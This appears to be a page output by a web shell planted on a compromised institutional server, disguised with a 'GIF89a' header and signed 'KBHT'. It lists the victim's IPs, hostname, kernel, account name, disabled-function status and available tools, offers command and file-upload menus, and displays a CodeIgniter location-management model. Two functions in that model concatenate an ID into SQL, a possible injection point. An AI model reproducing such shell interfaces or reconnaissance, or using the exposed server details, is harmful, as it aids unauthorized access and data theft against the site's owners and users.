GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.138.105.4
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/LocationManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Cities And States Info
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class LocationManagement extends CI_Model {

    function getAllStates() {
        $this->db->select('*');
        $this->db->from('tbl_states_master');
        return $this->db->get();
    }

    function getAllNonDeletedStates() {
        $this->db->select('*');
        $this->db->from('tbl_states_master');
        $this->db->where('state_delete_status', "F");
        return $this->db->get();
    }

    function getAllNonDeletedActiveStates() {
        $this->db->select('*');
        $this->db->from('tbl_states_master');
        $this->db->where('state_active_status', "T");
        $this->db->where('state_delete_status', "F");
        return $this->db->get();
    }

    function getAllCitiesByState($state_id) {
        $this->db->select('*');
        $this->db->from('tbl_city_master');
        $this->db->where('state_id', $state_id);
        return $this->db->get();
    }

    /* Functions For Internal Locations DB Operations */

    function createNewLocation(array $newLocation) {
        $this->db->insert('location_mst', $newLocation);
        return $this->db->insert_id();
    }

    function getAllLocations() {
        $this->db->select("LM.lm_id,LM.lm_name,LM.lm_short_name,LM.lm_description,LM.lm_active_status,"
                . "LM.lm_delete_status,LM.lm_added_by,LM.lm_added_on,LM.lm_updated_by,LM.lm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('location_mst LM');
        $this->db->join('tbl_staff_members TSMA', 'LM.lm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LM.lm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("LM.lm_updated_on", "desc");
        return $this->db->get();
    }
    
    function getNonDeletedActiveLocations() {
        $this->db->select("LM.lm_id,LM.lm_name,LM.lm_short_name,LM.lm_description,LM.lm_active_status,"
                . "LM.lm_delete_status,LM.lm_added_by,LM.lm_added_on,LM.lm_updated_by,LM.lm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('location_mst LM');
        $this->db->join('tbl_staff_members TSMA', 'LM.lm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LM.lm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LM.lm_active_status", "T");
        $this->db->where("LM.lm_delete_status", "F");
        $this->db->order_by("LM.lm_updated_on", "desc");
        return $this->db->get();
    }

    function getLocationInfoBy($lm_id) {
        $this->db->select("LM.lm_id,LM.lm_name,LM.lm_short_name,LM.lm_description,LM.lm_active_status,"
                . "LM.lm_delete_status,LM.lm_added_by,LM.lm_added_on,LM.lm_updated_by,LM.lm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('location_mst LM');
        $this->db->join('tbl_staff_members TSMA', 'LM.lm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LM.lm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LM.lm_id", $lm_id);
        return $this->db->get();
    }

    function getLocationInfoByName($lm_name) {
        $this->db->select("LM.lm_id,LM.lm_name,LM.lm_short_name,LM.lm_description,LM.lm_active_status,"
                . "LM.lm_delete_status,LM.lm_added_by,LM.lm_added_on,LM.lm_updated_by,LM.lm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('location_mst LM');
        $this->db->join('tbl_staff_members TSMA', 'LM.lm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LM.lm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LM.lm_name", $lm_name);
        return $this->db->get();
    }

    function getLocationInfoByShortName($lm_short_name) {
        $this->db->select("LM.lm_id,LM.lm_name,LM.lm_short_name,LM.lm_description,LM.lm_active_status,"
                . "LM.lm_delete_status,LM.lm_added_by,LM.lm_added_on,LM.lm_updated_by,LM.lm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('location_mst LM');
        $this->db->join('tbl_staff_members TSMA', 'LM.lm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LM.lm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LM.lm_short_name", $lm_short_name);
        return $this->db->get();
    }

    function isLocationNameSafeUpdate($lm_id, $lm_name) {
        $this->db->select("*");
        $this->db->from('location_mst');
        $this->db->where('lm_name', $lm_name);
        $this->db->where('lm_id != ' . $lm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isLocationShortNameSafeUpdate($lm_id, $lm_short_name) {
        $this->db->select("*");
        $this->db->from('location_mst');
        $this->db->where('lm_short_name', $lm_short_name);
        $this->db->where('lm_id != ' . $lm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateLocationInfo(array $locationUpdatedInfo) {
        $this->db->where('lm_id', $locationUpdatedInfo['lm_id']);
        return $this->db->update('location_mst', $locationUpdatedInfo);
    }

}

KBHT - 2023